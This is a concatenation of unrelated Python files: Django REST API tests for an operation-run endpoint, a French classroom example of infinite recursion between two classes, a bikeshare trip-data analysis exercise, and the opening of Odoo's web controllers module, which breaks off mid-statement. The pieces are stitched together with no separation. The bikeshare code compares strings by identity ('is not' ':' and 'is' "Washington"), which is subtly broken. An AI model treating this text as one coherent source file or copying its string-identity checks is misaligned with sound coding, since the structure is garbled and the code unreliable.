data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) s = response.json() expected_response = { OperationRun.OP_UUID: OperationRun.BAD_UUID_MESSAGE.format( field=OperationRun.OP_UUID, uuid='abc' ) } self.assertDictEqual(s, expected_response) # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') op = ops[0] # make it a workspace operation if it's not already op.workspace_operation = True op.save() payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: [], OperationRun.WORKSPACE_UUID: 'abc' } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) s = response.json() expected_response = { OperationRun.WORKSPACE_UUID: OperationRun.BAD_UUID_MESSAGE.format( field=OperationRun.WORKSPACE_UUID, uuid='abc' ) } self.assertDictEqual(s, expected_response) def test_not_found_workspace_uuid(self): ''' Test the case where a valid UUID is given for the workspace field, but there is no database object for that ''' # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') workspace_uuid = uuid.uuid4() op = ops[0] # make it a workspace operation if it's not already op.workspace_operation = True op.save() payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: [], OperationRun.WORKSPACE_UUID: str(workspace_uuid) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) s = response.json() expected_response = { OperationRun.WORKSPACE_UUID: OperationRun.NOT_FOUND_MESSAGE.format( uuid=str(workspace_uuid) ) } self.assertDictEqual(s, expected_response) def test_valid_op_and_other_workspace_uuid(self): ''' Test that a request with a valid workspace UUID owned by another user fails. ''' # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') # get a workspace for a different user. The Workspace is valid, but is # not owned by the client making the request. user_workspaces = Workspace.objects.filter(owner=self.regular_user_2) if len(user_workspaces) == 0: raise ImproperlyConfigured('Need at least one Workspace owned by' ' the OTHER non-admin user.') workspace = user_workspaces[0] op = ops[0] # make it a workspace operation if it's not already op.workspace_operation = True op.save() payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: [], OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) s = response.json() expected_response = { OperationRun.WORKSPACE_UUID: OperationRun.NOT_FOUND_MESSAGE.format( uuid=str(workspace.id) ) } self.assertDictEqual(s, expected_response) @mock.patch('api.views.operation_views.validate_operation_inputs') def test_valid_op_and_workspace_uuid(self, mock_validate_operation_inputs): ''' Test that a request with a valid workspace UUID and valid operation UUID passes Note that the validation of the inputs is mocked out ''' # set the mock to return True so that we mock the inputs passing validation mock_validate_operation_inputs.return_value = {} # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: raise ImproperlyConfigured('Need at least one Workspace owned by' ' a non-admin user.') workspace = user_workspaces[0] op = ops[0] payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: {'foo': 1, 'bar':'abc'}, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) @mock.patch('api.views.operation_views.submit_async_job') @mock.patch('api.utilities.operations.get_operation_instance_data') def test_valid_op_inputs(self, mock_get_operation_instance_data, mock_submit_async_job): ''' The workspace and Operation IDs are fine and this test also checks that the validation of the inputs works. ''' # set the mock to return True so that we mock the inputs passing validation f = os.path.join( TESTDIR, 'valid_workspace_operation.json' ) d = read_operation_json(f) mock_get_operation_instance_data.return_value = d # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: raise ImproperlyConfigured('Need at least one Workspace owned by' ' a non-admin user.') op = ops[0] acceptable_resource_types = d['inputs']['count_matrix']['spec']['resource_types'] acceptable_resources = [] for t in acceptable_resource_types: r = Resource.objects.filter( owner=self.regular_user_1, is_active=True, resource_type=t ) r = [x for x in r if len(x.workspaces.all()) > 0] if len(r) > 0: acceptable_resources.extend(r) if len(acceptable_resources) == 0: raise ImproperlyConfigured('Need to have at least one resource with types' ' in: {typelist}'.format( typelist=', '.join(acceptable_resource_types) ) ) workspace = acceptable_resources[0].workspaces.all()[0] valid_inputs = { 'count_matrix': str(acceptable_resources[0].id), 'p_val': 0.1 } payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: valid_inputs, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) mock_submit_async_job.delay.assert_called() mock_submit_async_job.delay.reset_mock() invalid_inputs = { 'count_matrix': str(acceptable_resources[0].id), 'p_val': 1.1 # too high for limits } payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: invalid_inputs, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_submit_async_job.delay.assert_not_called() mock_submit_async_job.delay.reset_mock() invalid_inputs = { 'count_matrix': str(uuid.uuid4()), } payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: invalid_inputs, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_submit_async_job.delay.assert_not_called() @mock.patch('api.views.operation_views.submit_async_job') @mock.patch('api.utilities.operations.get_operation_instance_data') def test_bad_inputs_payload(self, mock_get_operation_instance_data, mock_submit_async_job): ''' The "inputs" key needs to be a dict. When strings were passed, then it caused uncaught errors ''' # set the mock to return True so that we mock the inputs passing validation f = os.path.join( TESTDIR, 'valid_workspace_operation.json' ) d = read_operation_json(f) mock_get_operation_instance_data.return_value = d # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: raise ImproperlyConfigured('Need at least one Workspace owned by' ' a non-admin user.') workspace = user_workspaces[0] op = ops[0] acceptable_resource_types = d['inputs']['count_matrix']['spec']['resource_types'] acceptable_resources = [] for t in acceptable_resource_types: r = Resource.objects.filter( owner=self.regular_user_1, is_active=True, resource_type=t ) if len(r) > 0: acceptable_resources.extend(r) if len(acceptable_resources) == 0: raise ImproperlyConfigured('Need to have at least one resource with types' ' in: {typelist}'.format( typelist=', '.join(acceptable_resource_types) ) ) payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: "a string", OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_submit_async_job.delay.assert_not_called() @mock.patch('api.views.operation_views.submit_async_job') @mock.patch('api.utilities.operations.get_operation_instance_data') def test_observation_and_feature_set_payloads(self, mock_get_operation_instance_data, mock_submit_async_job): ''' Test payloads where the "inputs" key addresses an ObservationSet or FeatureSet input. ''' # set the mock to return True so that we mock the inputs passing validation f = os.path.join( TESTDIR, 'obs_set_test.json' ) d = read_operation_json(f) mock_get_operation_instance_data.return_value = d valid_obs_1 = { 'id': 'foo', 'attributes': { 'treatment': {'attribute_type':'String','value':'A'} } } valid_obs_2 = { 'id': 'bar', 'attributes': { 'treatment': {'attribute_type':'String','value':'B'} } } valid_obs_set = { 'multiple': True, 'elements': [ valid_obs_1, valid_obs_2 ] } # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: raise ImproperlyConfigured('Need at least one Workspace owned by' ' a non-admin user.') workspace = user_workspaces[0] op = ops[0] payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'obs_set_type': valid_obs_set, 'obs_type': valid_obs_1 }, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) mock_submit_async_job.delay.assert_called() mock_submit_async_job.delay.reset_mock() # test where the payload is bad: invalid_obs_set = { 'multiple': False, # inconsistent with the >1 elements below 'elements': [ valid_obs_1, valid_obs_2 ] } payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'obs_set_type': invalid_obs_set, 'obs_type': valid_obs_1 }, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_submit_async_job.delay.assert_not_called() mock_submit_async_job.delay.reset_mock() # test where the payload is bad: invalid_obs_set = { 'multiple': False, # inconsistent with the >1 elements below 'elements': [ { # missing 'id' key 'attributes': {} } ] } payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'obs_set_type': invalid_obs_set, 'obs_type': valid_obs_1 }, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_submit_async_job.delay.assert_not_called() mock_submit_async_job.delay.reset_mock() @mock.patch('api.views.operation_views.submit_async_job') @mock.patch('api.utilities.operations.get_operation_instance_data') def test_proper_call_with_nonworkspace_op(self, mock_get_operation_instance_data, mock_submit_async_job): ''' Test that the proper call is made when the Operation is not a workspace-assoc. Operation. ''' # set the mock to return True so that we mock the inputs passing validation f = os.path.join( TESTDIR, 'simple_op_test.json' ) d = read_operation_json(f) mock_get_operation_instance_data.return_value = d # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') op = ops[0] # make it a non-workspace operation if it's not already op.workspace_operation = False op.save() # first try a payload where the job_name field is not given. # Check that the given name is the same as the execution job_id payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'some_string': 'abc' } } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') response_json = response.json() executed_op_uuid = response_json['executed_operation_id'] self.assertEqual(response.status_code, status.HTTP_200_OK) mock_submit_async_job.delay.assert_called_once_with( uuid.UUID(executed_op_uuid), op.id, self.regular_user_1.pk, None, executed_op_uuid, payload[OperationRun.INPUTS] ) @mock.patch('api.views.operation_views.submit_async_job') @mock.patch('api.utilities.operations.get_operation_instance_data') def test_job_name_set(self, mock_get_operation_instance_data, mock_submit_async_job): ''' Test payloads where the job_name is given ''' # set the mock to return True so that we mock the inputs passing validation f = os.path.join( TESTDIR, 'simple_workspace_op_test.json' ) d = read_operation_json(f) mock_get_operation_instance_data.return_value = d # now give a bad UUID for workspace, but a valid one for the operation ops = OperationDbModel.objects.filter(active=True) if len(ops) == 0: raise ImproperlyConfigured('Need at least one Operation that is active') user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: raise ImproperlyConfigured('Need at least one Workspace owned by' ' a non-admin user.') workspace = user_workspaces[0] op = ops[0] # make it a workspace operation if it's not already op.workspace_operation = True op.save() # first try a payload where the job_name field is not given. # Check that the given name is the same as the execution job_id payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'some_string': 'abc' }, OperationRun.WORKSPACE_UUID: str(workspace.id) } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') response_json = response.json() executed_op_uuid = response_json['executed_operation_id'] self.assertEqual(response.status_code, status.HTTP_200_OK) mock_submit_async_job.delay.assert_called_once_with( uuid.UUID(executed_op_uuid), op.id, self.regular_user_1.pk, workspace.id, executed_op_uuid, payload[OperationRun.INPUTS] ) mock_submit_async_job.delay.reset_mock() # now add a job name- see that it gets sent to the async method job_name = 'foo' payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'some_string': 'abc' }, OperationRun.WORKSPACE_UUID: str(workspace.id), OperationRun.JOB_NAME: job_name } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') response_json = response.json() executed_op_uuid = response_json['executed_operation_id'] self.assertEqual(response.status_code, status.HTTP_200_OK) mock_submit_async_job.delay.assert_called_once_with( uuid.UUID(executed_op_uuid), op.id, self.regular_user_1.pk, workspace.id, job_name, payload[OperationRun.INPUTS] ) # now add a job name that has a space- see that the "edited" string gets sent to the async method mock_submit_async_job.delay.reset_mock() job_name = 'foo bar' edited_job_name = 'foo_bar' payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'some_string': 'abc' }, OperationRun.WORKSPACE_UUID: str(workspace.id), OperationRun.JOB_NAME: job_name } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') response_json = response.json() executed_op_uuid = response_json['executed_operation_id'] self.assertEqual(response.status_code, status.HTTP_200_OK) mock_submit_async_job.delay.assert_called_once_with( uuid.UUID(executed_op_uuid), op.id, self.regular_user_1.pk, workspace.id, edited_job_name, payload[OperationRun.INPUTS] ) # now a bad job name job_name = '1foo?' payload = { OperationRun.OP_UUID: str(op.id), OperationRun.INPUTS: { 'some_string': 'abc' }, OperationRun.WORKSPACE_UUID: str(workspace.id), OperationRun.JOB_NAME: job_name } response = self.authenticated_regular_client.post(self.url, data=payload, format='json') response_json = response.json() self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertTrue('job_name' in response_json.keys()) class OperationUpdateTests(BaseAPITestCase): def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') self.establish_clients() def test_admin_only(self): ''' Tests that regular users can't use this endpoint ''' url = reverse('operation-update', kwargs={ 'pk': str(self.op.id) }) response = self.authenticated_regular_client.get(url) self.assertTrue(response.status_code == 403) def test_change_active_status(self): ''' Tests that we can modify the "active" status on an existing operation ''' self.op.active = True self.op.save() op = OperationDbModel.objects.get(pk=self.op.id) self.assertTrue(op.active) url = reverse('operation-update', kwargs={ 'pk': str(self.op.id) }) response = self.authenticated_admin_client.patch(url, {'active': False}) self.assertTrue(response.status_code == 200) op = OperationDbModel.objects.get(pk=self.op.id) self.assertFalse(op.active) def test_bad_update_field_triggers_400(self): ''' Tests that a bad field (even if others are fine) triggers a 400. This prevents awkward partial updates. ''' self.op.active = True self.op.save() op = OperationDbModel.objects.get(pk=self.op.id) self.assertTrue(op.active) url = reverse('operation-update', kwargs={ 'pk': str(self.op.id) }) response = self.authenticated_admin_client.patch(url, {'active': False, 'foo': 'xyz'}) self.assertTrue(response.status_code == 400) op = OperationDbModel.objects.get(pk=self.op.id) # Check that the active field as NOT updated self.assertTrue(op.active) 0 class OBJET1 : def __init__(self): self._O2 = OBJET2() class OBJET2 : def __init__(self): self._O1 = OBJET1() if __name__ == '__main__' : """ produit une erreur de recursion File "C:/Users/Violette/SitesWeb/terminaleNSI/BasesDeDonnees/objet1.py", line 7, in __init__ self._O1 = OBJET1() File "C:/Users/Violette/SitesWeb/terminaleNSI/BasesDeDonnees/objet1.py", line 3, in __init__ self._O2 = OBJET2() RecursionError: maximum recursion depth exceeded """ O = OBJET1() import csv from datetime import datetime from pprint import pprint def print_first_point(filename): """ This function prints and returns the first data point (second row) from a csv file that includes a header row. """ # print city name for reference city = filename.split('-')[0].split('/')[-1] print('\nCity: {}'.format(city)) with open(filename, 'r') as f_in: ## TODO: Use the csv library to set up a DictReader object. ## ## see https://docs.python.org/3/library/csv.html ## trip_reader = csv.DictReader(f_in) ## TODO: Use a function on the DictReader object to read the ## ## first trip from the data file and store it in a variable. ## ## see https://docs.python.org/3/library/csv.html#reader-objects ## for row in trip_reader: first_trip = row break ## TODO: Use the pprint library to print the first trip. ## ## see https://docs.python.org/3/library/pprint.html ## pprint(first_trip) # output city name and first trip for later testing return (city, first_trip) # list of files for each city data_files = [ './data/NYC-CitiBike-2016.csv', './data/Chicago-Divvy-2016.csv', './data/Washington-CapitalBikeshare-2016.csv', ] # print the first trip from each file, store in dictionary example_trips = {} for data_file in data_files: city, first_trip = print_first_point(data_file) example_trips[city] = first_trip # Condensing the Trip Data def duration_in_mins(datum, city): """ Takes as input a dictionary containing info about a single trip (datum) and its origin city (city) and returns the trip duration in units of minutes. Remember that Washington is in terms of milliseconds while Chicago and NYC are in terms of seconds. HINT: The csv module reads in all of the data as strings, including numeric values. You will need a function to convert the strings into an appropriate numeric type when making your transformations. see https://docs.python.org/3/library/functions.html """ duration_in_secs = 0.0 if datum.get("tripduration") is not None: duration_in_secs = float(datum["tripduration"]) elif datum.get("Duration (ms)") is not None: duration_in_secs = float(datum["Duration (ms)"])/1000 return duration_in_secs/60 # Some tests to check that your code works. There should be no output if all of # the assertions pass. The `example_trips` dictionary was obtained from when # you printed the first trip from each of the original data files. tests = {'NYC': 13.9833, 'Chicago': 15.4333, 'Washington': 7.1231} for city in tests: duration_in_min = duration_in_mins(example_trips[city], city) print("{} duration in mins : {}".format(city, duration_in_min)) assert abs(duration_in_min - tests[city]) < .001 def time_of_trip(datum, city): """ Takes as input a dictionary containing info about a single trip (datum) and its origin city (city) and returns the month, hour, and day of the week in which the trip was made. Remember that NYC includes seconds, while Washington and Chicago do not. HINT: You should use the datetime module to parse the original date strings into a format that is useful for extracting the desired information. see https://docs.python.org/3/library/datetime.html#strftime-and-strptime-behavior """ month = 0 hour = 0 day_of_week = "Sunday" date_string = "" if datum.get("starttime") is not None: date_string = datum["starttime"] # 1/1/2016 00:09:55, 3/31/2016 23:30 elif datum.get("Start date") is not None: date_string = datum["Start date"] # 3/31/2016 22:57 # if there is no seconds parameter in the string add ':00' to it if date_string[-6] is not ':': date_string += ":00" date_time_object = datetime.strptime(date_string, "%m/%d/%Y %H:%M:%S") month = int(date_time_object.strftime('%m')) hour = int(date_time_object.strftime('%H')) day_of_week = date_time_object.strftime('%A') return (month, hour, day_of_week) # Some tests to check that your code works. There should be no output if all of # the assertions pass. The `example_trips` dictionary was obtained from when # you printed the first trip from each of the original data files. tests = { 'NYC': (1, 0, 'Friday'), 'Chicago': (3, 23, 'Thursday'), 'Washington': (3, 22, 'Thursday') } for city in tests: print("========\n{}:\n{}\n==========".format(city, example_trips[city])) # debug m_h_d = time_of_trip(example_trips[city], city) print(m_h_d) assert m_h_d == tests[city] # Type of the user - retrieval def type_of_user(datum, city): """ Takes as input a dictionary containing info about a single trip (datum) and its origin city (city) and returns the type of system user that made the trip. Remember that Washington has different category names compared to Chicago and NYC. """ user_type = "" # 'usertype'(Subscriber or Customer) or 'Member Type'(Registered or Casual) if city is "Washington": user_type = "Subscriber" if datum.get("Member Type") == "Registered" else "Customer" else: user_type = datum.get("usertype") return user_type # Some tests to check that your code works. There should be no output if all of # the assertions pass. The `example_trips` dictionary was obtained from when # you printed the first trip from each of the original data files. tests = {'NYC': 'Customer', 'Chicago': 'Subscriber', 'Washington': 'Subscriber'} for city in tests: usr_typ = type_of_user(example_trips[city], city) print("============={}".format(usr_typ)) # debug assert usr_typ == tests[city] # Condense data def condense_data(in_file, out_file, city): """ This function takes full data from the specified input file and writes the condensed data to a specified output file. The city argument determines how the input file will be parsed. HINT: See the cell below to see how the arguments are structured! """ with open(out_file, 'w') as f_out, open(in_file, 'r') as f_in: # set up csv DictWriter object - writer requires column names for the # first row as the "fieldnames" argument out_colnames = ['duration', 'month', 'hour', 'day_of_week', 'user_type'] trip_writer = csv.DictWriter(f_out, fieldnames=out_colnames) trip_writer.writeheader() ## TODO: set up csv DictReader object ## trip_reader = csv.DictReader(f_in) # collect data from and process each row for row in trip_reader: # set up a dictionary to hold the values for the cleaned and trimmed # data point new_point = {} ## TODO: use the helper functions to get the cleaned data from ## ## the original data dictionaries. ## ## Note that the keys for the new_point dictionary should match ## ## the column names set in the DictWriter object above. ## month_hour_day = time_of_trip(row, city) new_point['duration'] = duration_in_mins(row, city) new_point['month'] = month_hour_day[0] new_point['hour'] = month_hour_day[1] new_point['day_of_week'] = month_hour_day[2] new_point['user_type'] = type_of_user(row, city) ## TODO: write the processed information to the output file. ## ## see https://docs.python.org/3/library/csv.html#writer-objects ## trip_writer.writerow(new_point) f_out.close() # Run this to check your work city_info = {'Washington': {'in_file': './data/Washington-CapitalBikeshare-2016.csv', 'out_file': './data/Washington-2016-Summary.csv'}, 'Chicago': {'in_file': './data/Chicago-Divvy-2016.csv', 'out_file': './data/Chicago-2016-Summary.csv'}, 'NYC': {'in_file': './data/NYC-CitiBike-2016.csv', 'out_file': './data/NYC-2016-Summary.csv'}} for city, filenames in city_info.items(): condense_data(filenames['in_file'], filenames['out_file'], city) print_first_point(filenames['out_file']) # Exploratory Data Analysis def number_of_trips(filename): """ This function reads in a file with trip data and reports the number of trips made by subscribers, customers, and total overall. """ with open(filename, 'r') as f_in: # set up csv reader object reader = csv.DictReader(f_in) # initialize count variables n_subscribers = 0 n_customers = 0 total_duration_of_all_rides = 0.0 long_duration = 30.0 number_of_longer_duration_trips = 0 # tally up ride types for row in reader: total_duration_of_all_rides += float(row['duration']) if float(row['duration']) > long_duration: number_of_longer_duration_trips += 1 if row['user_type'] == 'Subscriber': n_subscribers += 1 else: n_customers += 1 # compute total number of rides n_total = n_subscribers + n_customers # return tallies as a tuple return(n_subscribers, n_customers, n_total, total_duration_of_all_rides, number_of_longer_duration_trips) # testing functions def largest_among(washington, chicago, nyc): print("W={}; C={}; NYC={}".format(washington, chicago, nyc)) if washington > chicago: if washington > nyc: print("Washington") else: print("NYC") else: if chicago > nyc: print("Chicago") else: print("NYC") washington_summary_file = './data/Washington-2016-Summary.csv' w_trip_details = number_of_trips(washington_summary_file) chicago_summary_file = './data/Chicago-2016-Summary.csv' c_trip_details = number_of_trips(chicago_summary_file) nyc_summary_file = './data/NYC-2016-Summary.csv' nyc_trip_details = number_of_trips(nyc_summary_file) # highest total number of trips w_trip = w_trip_details[2] c_trip = c_trip_details[2] nyc_trip = nyc_trip_details[2] largest_among(w_trip, c_trip, nyc_trip) # highest subscribers w_trip = w_trip_details[0] c_trip = c_trip_details[0] nyc_trip = nyc_trip_details[0] largest_among(w_trip, c_trip, nyc_trip) # highest customers w_trip = w_trip_details[1] c_trip = c_trip_details[1] nyc_trip = nyc_trip_details[1] largest_among(w_trip, c_trip, nyc_trip) data_file = './examples/BayArea-Y3-Summary.csv' print(number_of_trips(data_file)) # Average trip length for each city average_length_of_trip = w_trip_details[3]/w_trip_details[2] print(average_length_of_trip) average_length_of_trip = c_trip_details[3]/c_trip_details[2] print(average_length_of_trip) average_length_of_trip = nyc_trip_details[3]/nyc_trip_details[2] print(average_length_of_trip) # Longer duration proportion percentage_of_long_duration_trips = w_trip_details[4]*100/w_trip_details[2] print("Washington has {} percent of long duration trips".format(percentage_of_long_duration_trips)) percentage_of_long_duration_trips = c_trip_details[4]*100/c_trip_details[2] print("Chicago has {} percent of long duration trips".format(percentage_of_long_duration_trips)) percentage_of_long_duration_trips = nyc_trip_details[4]*100/nyc_trip_details[2] print("NYC has {} percent of long duration trips".format(percentage_of_long_duration_trips)) # condensing data based on user type def condense_data_for_long_rides(filename, usr_type): """ This function reads in a file with trip data and reports the number of trips made by subscribers, customers, and total overall. """ with open(filename, 'r') as f_in: # set up csv reader object reader = csv.DictReader(f_in) # initialize count variables total_long_ride_duration = 0.0 total_long_rides = 0 long_duration = 30.0 # tally up ride types for row in reader: if row['user_type'] == usr_type: ride_duration = float(row['duration']) if ride_duration > long_duration: total_long_rides += 1 total_long_ride_duration += ride_duration # return tallies as a tuple return(total_long_ride_duration, total_long_rides) # for Subscriber nyc_summary_file = './data/NYC-2016-Summary.csv' long_ride_analysis_for_subscriber = condense_data_for_long_rides(nyc_summary_file, 'Subscriber') avg_long_ride_duration_by_subscriber = long_ride_analysis_for_subscriber[0]/long_ride_analysis_for_subscriber[1] # for Customer long_ride_analysis_for_customer = condense_data_for_long_rides(nyc_summary_file, 'Customer') avg_long_ride_duration_by_customer = long_ride_analysis_for_customer[0] / long_ride_analysis_for_customer[1] print("In NYC the average Subscriber trip duration to be {} minutes and the average Customer trip duration to be {} minutes.".format(avg_long_ride_duration_by_subscriber, avg_long_ride_duration_by_customer)) if avg_long_ride_duration_by_subscriber > avg_long_ride_duration_by_customer: print("In NYC, Subscribers do more longer rides than Customers") else: print("In NYC, Customers do more longer rides than Subscribers") # Plot the data in a histogram def get_ride_time_date(filename): """ This function reads in a file with trip data and reports the number of trips made by subscribers, customers, and total overall. """ with open(filename, 'r') as f_in: # set up csv reader object reader = csv.DictReader(f_in) ride_time_list = [] for row in reader: ride_time_list.append(row['hour']) return ride_time_list # for Subscriber nyc_summary_file = './data/NYC-2016-Summary.csv' ride_times = get_ride_time_date(nyc_summary_file) # print(ride_times) # import matplotlib.pyplot as plt # %matplotlib inline # http://ipython.readthedocs.io/en/stable/interactive/magics.html # plt.hist(ride_times) # plt.title('Distribution of Trip Durations') # plt.xlabel('Duration (m)') # plt.show() addons/web/controllers/main.py # -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import babel.messages.pofile import base64 import datetime import functools import glob import hashlib import imghdr import io import itertools import jinja2 import json import logging import operator import os import re import sys import tempfile import time import zlib import werkzeug import werkzeug.exceptions import werkzeug.utils import werkzeug.wrappers import werkzeug.wsgi from collections import OrderedDict from werkzeug.urls import url_decode, iri_to_uri from xml.etree import ElementTree import unicodedata import odoo import odoo.modules.registry from odoo.api import call_kw, Environment from odoo.modules import get_resource_path from odoo.tools import crop_image, topological_sort, html_escape, pycompat from odoo.tools.mimetypes import guess_mimetype from odoo.tools.translate import _ from odoo.tools.misc import str2bool, xlwt, file_open from odoo.tools.safe_eval import safe_eval from odoo import http from odoo.http import content_disposition, dispatch_rpc, request, \ serialize_exception as _serialize_exception, Response from odoo.exceptions import AccessError, UserError, AccessDenied from odoo.models import check_method_name from odoo.service import db, security _logger = logging.getLogger(__name__) if hasattr(sys, 'frozen'): # When running on compiled windows binary, we don't have access to package loader. path = os.path.realpath(os.path.join(os.path.dirname(__file__), '..', 'views')) loader = jinja2.FileSystemLoader(path) else: loader = jinja2.PackageLoader('odoo.addons.web', "views") env = jinja2.Environment(loader=loader, autoescape=True) env.filters["json"] = json.dumps # 1 week cache for asset bundles as advised by Google Page Speed BUNDLE_MAXAGE = 60 * 60 * 24 * 7 DBNAME_PATTERN = '^[a-zA-Z0-9][a-zA-Z0-9_.-]+$' #---------------------------------------------------------- # Odoo Web helpers #---------------------------------------------------------- db_list = http.db_list db_monodb = http.db_monodb def serialize_exception(f): @functools.wraps(f) def wrap(*args, **kwargs): try: return f(*args, **kwargs) except Exception as e: _logger.exception("An exception occured during an http request") se = _serialize_exception(e) error = { 'code': 200, 'message': "Odoo Server Error", 'data': se } return werkzeug.exceptions.InternalServerError(json.dumps(error)) return wrap def redirect_with_hash(*args, **kw): """ .. deprecated:: 8.0 Use the ``http.redirect_with_hash()`` function instead. """ return http.redirect_with_hash(*args, **kw) def abort_and_redirect(url): r = request.httprequest response = werkzeug.utils.redirect(url, 302) response = r.app.get_response(r, response, explicit_session=False) werkzeug.exceptions.abort(response) def ensure_db(redirect='/web/database/selector'): # This helper should be used in web client auth="none" routes # if those routes needs a db to work with. # If the heuristics does not find any database, then the users will be # redirected to db selector or any url specified by `redirect` argument. # If the db is taken out of a query parameter, it will be checked against # `http.db_filter()` in order to ensure it's legit and thus avoid db # forgering that could lead to xss attacks. db = request.params.get('db') and request.params.get('db').strip() # Ensure db is legit if db and db not in http.db_filter([db]): db = None if db and not request.session.db: # User asked a specific database on a new session. # That mean the nodb router has been used to find the route # Depending on installed module in the database, the rendering of the page # may depend on data injected by the database route dispatcher. # Thus, we redirect the user to the same page but with the session cookie set. # This will force using the database route dispatcher... r = request.httprequest url_redirect = werkzeug.urls.url_parse(r.base_url) if r.query_string: # in P3, request.query_string is bytes, the rest is text, can't mix them query_string = iri_to_uri(r.query_string) url_redirect = url_redirect.replace(query=query_string) request.session.db = db abort_and_redirect(url_redirect) # if db not provided, use the session one if not db and request.session.db and http.db_filter([request.session.db]): db = request.session.db # if no database provided and no database in session, use monodb if not db: db = db_monodb(request.httprequest) # if no db can be found til here, send to the database selector # the database selector will redirect to database manager if needed if not db: werkzeug.exceptions.abort(werkzeug.utils.redirect(redirect, 303)) # always switch the session to the computed db if db != request.session.db: request.session.logout() abort_and_redirect(request.httprequest.url) request.session.db = db def module_installed(environment): # Candidates module the current heuristic is the /static dir loadable = list(http.addons_manifest) # Retrieve database installed modules # TODO The following code should move to ir.module.module.list_installed_modules() Modules = environment['ir.module.module'] domain = [('state','=','installed'), ('name','in', loadable)] modules = OrderedDict( (module.name, module.dependencies_id.mapped('name')) for module in Modules.search(domain) ) sorted_modules = topological_sort(modules) return sorted_modules def module_installed_bypass_session(dbname): try: registry = odoo.registry(dbname) with registry.cursor() as cr: return module_installed( environment=Environment(cr, odoo.SUPERUSER_ID, {})) except Exception: pass return {} def module_boot(db=None): server_wide_modules = odoo.conf.server_wide_modules or [] serverside = ['base', 'web'] dbside = [] for i in server_wide_modules: if i in http.addons_manifest and i not in serverside: serverside.append(i) monodb = db or db_monodb() if 